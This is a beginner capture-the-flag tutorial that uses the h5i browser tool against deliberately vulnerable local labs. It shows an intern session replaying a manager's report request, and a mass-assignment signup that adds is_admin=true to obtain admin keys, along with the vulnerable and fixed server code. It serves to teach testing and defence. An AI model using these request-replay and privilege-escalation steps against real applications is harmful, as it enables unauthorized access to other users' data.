Broken Access Control
A beginner-friendly CTF tutorial: compare two logged-in users, test authorization directly, and find fields the user interface never sends.
In Recon and IDOR, we discovered forgotten endpoints and used object identifiers to read data belonging to another account. Those attacks had one question underneath them: Does the server check that this user is allowed to access this object?
In this article, we will make that question systematic. Using Labs 8 and 9 of h5i-tutorial, we will:
- replay the same request as two different users;
- distinguish authentication from authorization;
- add a privileged field that the signup form never offered; and
- learn why server-side allowlists matter.
We will use h5i, a headless browser whose websec plugin records, edits, and replays the HTTP traffic produced by a browser session.
Both targets are deliberately vulnerable local applications. Only use these techniques on systems you own or have explicit permission to test.
Before we begin
This article assumes that h5i and its websec plugin are installed. The complete instructions are in the tutorial repository.
$ git clone https://github.com/h5i-dev/h5i-tutorial.git
$ cd h5i-tutorial/websec
$ h5i websec --help
Authentication and authorization are different checks
Authentication establishes an identity: “This request came from Bob.”
Authorization applies a rule to that identity: “Bob is an intern, so he cannot read the managers’ quarterly report.”
A valid session cookie proves only the first statement. Every sensitive endpoint still needs the second check.
The most direct authorization test is therefore:
- perform an action as a privileged user;
- capture the exact request;
- send that same request with a less privileged user’s credentials; and
- compare the responses.
Changing only the identity makes the result easy to interpret.
Lab 8: send Alice’s request as Bob
Start the ledger lab:
$ ./run.sh 08
The application has two users:
alice, a manager;bob, an intern.
The quarterly report should be restricted to managers. First, create an independent browser session for Alice:
$ h5i browser open 'http://127.0.0.1:9080/' \
--session alice --new --capture
$ h5i websec replay req_0 --session alice --create \
--set method=POST \
--set path=/login \
--set header.Content-Type=application/json \
--set json.user=alice
--create is required because the captured homepage request was a GET with no JSON body. We are deliberately creating fields that were not in that request.
The login response sets Alice’s session cookie. Because it belongs to the named alice session, later requests from that session use it automatically.
Now capture the report request:
$ h5i websec replay req_0 --session alice --create \
--set path=/api/reports/quarterly
$ h5i websec show res_2 --session alice --raw
The response identifies Alice as a manager and includes the quarterly data. This establishes the expected privileged behavior.
Next, create a separate session for Bob:
$ h5i browser open 'http://127.0.0.1:9080/' \
--session bob --new --capture
$ h5i websec replay req_0 --session bob --create \
--set method=POST \
--set path=/login \
--set header.Content-Type=application/json \
--set json.user=bob
We now have two independent cookie jars. Alice’s session contains Alice’s login cookie; Bob’s contains Bob’s.
Replay the same message with another identity
Alice’s report request is req_2 in the alice session. Send that message using Bob’s session:
$ h5i websec replay req_2 --session alice --as bob
--session alice tells h5i where the recorded message comes from. --as bob tells it which session’s cookies, browser identity, policy, and network receipts should be used to send it.
The replay prints its seq, and that number belongs to Bob’s session, because that is where the message was actually sent from and recorded. Read the body there:
$ h5i websec show res_2 --session bob --raw
If your seq differs, use the number the replay printed. Reading res_N from the alice session is a common mistake here: it either fails or shows you Alice’s own earlier response, which looks like a finding and is not one.
The response is still 200 OK. More importantly, its body says:
{
"as": "bob",
"role": "intern",
"revenue": 4120000,
"audit_key": "FLAG{cross_session_authz}"
}
The request was genuinely sent as Bob. The server authenticated him correctly and then returned the managers’ report anyway.
Why did this work?
The report handler contains an authentication check:
user = SESSIONS.get(req.cookies.get("sid", ""))
if not user:
return js({"error": "sign in"}, 401)
return js({
"as": user,
"role": USERS[user],
"revenue": 4_120_000,
"audit_key": FLAG,
})
The handler asks whether the caller is signed in. It never checks whether the signed-in user is a manager.
The user interface does not show Bob a link to the report, but hiding a link is not access control. Bob can still send the underlying HTTP request.
A correct handler performs both checks:
if not user:
return js({"error": "sign in"}, 401)
if USERS[user] != "manager":
return js({"error": "forbidden"}, 403)
For larger applications, role requirements are often safer when attached centrally to routes or policies rather than copied into individual handlers.
Interpreting an identity swap
After replaying a request as another user, read the body as well as the status:
200with Alice’s data means broken authorization.200with Bob’s correctly scoped data may be safe.401means Bob’s credential was missing or unusable.403usually means the authorization control worked.
A 200 alone is not enough to report a vulnerability. You must determine whose data or action the response represents.
Lab 9: add a field the form never offered
Lab 8 changed the user sending a request. Lab 9 keeps the user but changes the shape of the object being created.
Start the signup lab:
$ ./run.sh 09
Open the homepage with capture enabled:
$ h5i browser open 'http://127.0.0.1:9090/' \
--session lab09 --new --capture
The page documents a registration endpoint that expects:
{
"username": "newuser",
"email": "newuser@example.test",
"password": "hunter2"
}
Create a normal account first:
$ h5i websec replay req_0 --session lab09 --create \
--set method=POST \
--set path=/api/register \
--set header.Content-Type=application/json \
--set json.username=ordinary \
--set json.email=ordinary@example.test \
--set json.password=hunter2
The response contains a bearer token. Copy it and try the admin endpoint:
$ h5i websec show res_1 --session lab09 --raw
$ NORMAL_TOKEN='PASTE_THE_TOKEN_HERE'
$ h5i websec replay req_0 --session lab09 --create \
--set path=/api/admin/keys \
--set "header.Authorization=Bearer $NORMAL_TOKEN"
The normal account receives 403 Forbidden, as expected.
What is mass assignment?
Many frameworks can convert request fields into an application object automatically. That is convenient until the internal object contains fields that an ordinary user should never control.
For example, the public form may send username, email, and password, while the stored user record also contains:
{
"plan": "free",
"is_admin": false,
"credits": 0
}
If the server copies every supplied field into that record, we can submit is_admin ourselves even though the form never displayed it. This vulnerability is called mass assignment, over-posting, or unsafe object binding.
Register a second user and add the privileged field:
$ h5i websec replay req_0 --session lab09 --create \
--set method=POST \
--set path=/api/register \
--set header.Content-Type=application/json \
--set json.username=climber \
--set json.email=climber@example.test \
--set json.password=hunter2 \
--set json.is_admin=true
Notice that true is not quoted. h5i sends it as a JSON boolean:
"is_admin": true
Copy the new token from the registration response and send it to the admin endpoint:
$ h5i websec show res_3 --session lab09 --raw
$ ADMIN_TOKEN='PASTE_THE_NEW_TOKEN_HERE'
$ h5i websec replay req_0 --session lab09 --create \
--set path=/api/admin/keys \
--set "header.Authorization=Bearer $ADMIN_TOKEN"
The response now contains:
FLAG{mass_assignment}
We did not change a user after registration. We created an account that was already an administrator.
Why did this work?
The vulnerable code merges the entire request body into the default user:
DEFAULTS = {
"username": "",
"email": "",
"password": "",
"plan": "free",
"is_admin": False,
"credits": 0,
}
row = {**DEFAULTS, **payload}
USERS[row["username"]] = row
In Python, values appearing later in this merge replace earlier values. Therefore, the attacker-supplied is_admin: true overwrites the safe default.
The server should select the allowed public fields explicitly:
allowed = {"username", "email", "password"}
public = {k: v for k, v in payload.items() if k in allowed}
row = {**DEFAULTS, **public}
An allowlist says which fields a caller may set. A blocklist says which known fields they may not set—and silently becomes incomplete when a new sensitive field is added later.
Where to look for hidden fields
When the source is unavailable, field names often appear in:
- registration and profile responses;
GET /api/meor user-detail endpoints;- JavaScript state embedded in a page;
- update requests sent by an administrator;
- error messages and API documentation.
Common candidates include role, is_admin, is_staff, verified, plan, credits, owner_id, and tenant_id.
Test create and update endpoints separately. A signup endpoint may use an allowlist while PATCH /api/me binds the entire request into an existing database record.
A reusable authorization workflow
The two labs produce a compact testing method:
- Keep one named h5i session per user or role.
- Capture a legitimate sensitive request from the privileged session.
- Replay it with
--asfor every lower-privileged session. - Check whose data was returned—not only the status code.
- For create and update requests, add one plausible internal field at a time.
- Confirm impact with an unauthorized read, write, or privileged action.
Named sessions matter because mixed cookie jars produce ambiguous evidence. If Alice’s credential accidentally remains in Bob’s request, a successful response proves nothing.
Summary
Lab 8 showed an endpoint that authenticated Bob but never checked his role. h5i’s --as option let us keep Alice’s recorded request constant while replacing the sending identity.
Lab 9 showed a registration endpoint that accepted every JSON field and copied it into the user record. Adding is_admin: true turned an ordinary signup into an administrator account.
The shared lesson is that the client does not define the security boundary. A hidden link can still be requested, and a hidden field can still be submitted. The server must authorize every sensitive action and allowlist every client-controlled field.
When finished:
$ h5i browser close --session alice
$ h5i browser close --session bob
$ h5i browser close --session lab09
$ ./run.sh stop
In JWT Attacks, we will examine JSON Web Tokens and attack the code that decides whether a token’s signature should be trusted.
References
- h5i
- h5i-tutorial: Web application security
- Lab 8: Cross-session authorization
- Lab 9: Mass assignment
JWT Attacks
Decode JSON Web Tokens, bypass a missing signature check, crack a weak HMAC secret, and turn a key identifier into a path traversal.
Run the labs yourself
42 deliberately vulnerable applications, one binary, no Docker and no accounts.